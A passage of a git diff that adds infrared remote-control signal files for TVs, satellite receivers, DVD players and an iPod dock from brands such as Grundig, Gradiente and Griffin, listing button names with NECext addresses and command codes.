KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: RIGHT_FW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: UP_FW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: OK_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: DOWN_RW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: ACTIVE_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: LEFT_RW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir b/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir new file mode 100644 index 000000000..5fdb4fa09 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 20 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 21 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 22 00 00 00 +# +name: yellow_ok_ring +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 23 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 24 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 26 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 27 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 29 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2B 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 30 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 31 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 32 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 34 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 35 00 00 00 +# +name: mosaic +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 37 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 38 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 39 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir new file mode 100644 index 000000000..0bed5f203 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: snake +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: d.st.mo +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: txt.stop +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: txt.clock +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: txt.zoom +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: txt.question +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: txt.x +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: txt.half +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: tv.av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: txt.on +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: txt.off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: m.sel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: m.off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: txt.i +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir new file mode 100644 index 000000000..f34f529df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: RTN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: CHAN_DN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: FINE+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: ERA +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: FINE- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir b/assets/resources/infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir new file mode 100644 index 000000000..9990c1103 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 00 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 01 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 02 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 03 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 05 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 06 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 07 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 08 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 09 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 0A 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 0B 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 0C 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 0F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 10 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D4 BE 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir new file mode 100644 index 000000000..4136ac8f8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir new file mode 100644 index 000000000..33f493f04 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: MODE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir new file mode 100644 index 000000000..0b3d2d17b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir new file mode 100644 index 000000000..ffaa74df6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: TV-G +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: ?_/_< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: Z_/_DISC_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: VOL+_/_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: VOL-_/_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: ASPECT_/_> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: PIP_/_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: P+_/_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: P-_/_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: I_(MENU)_/_OSD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: INFORMATION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: BLUE_/_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: RED_/_DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: YELLOW_/_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: GREEN_/_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir new file mode 100644 index 000000000..f0f381523 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: TV/Sat +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: Serv +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: Prefer +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: Perso +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir new file mode 100644 index 000000000..c16873369 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: FF_SF +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: FR_SR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: DIGEST +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3D_SOUND +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 41 00 00 00 +# +name: PCB +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 42 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 43 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 44 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 45 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 46 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 47 00 00 00 +# +name: STOP/RETURN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 48 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 49 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir new file mode 100644 index 000000000..3356d2a6f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 01 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 02 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 03 00 00 00 +# +name: tuning_down +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 04 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: 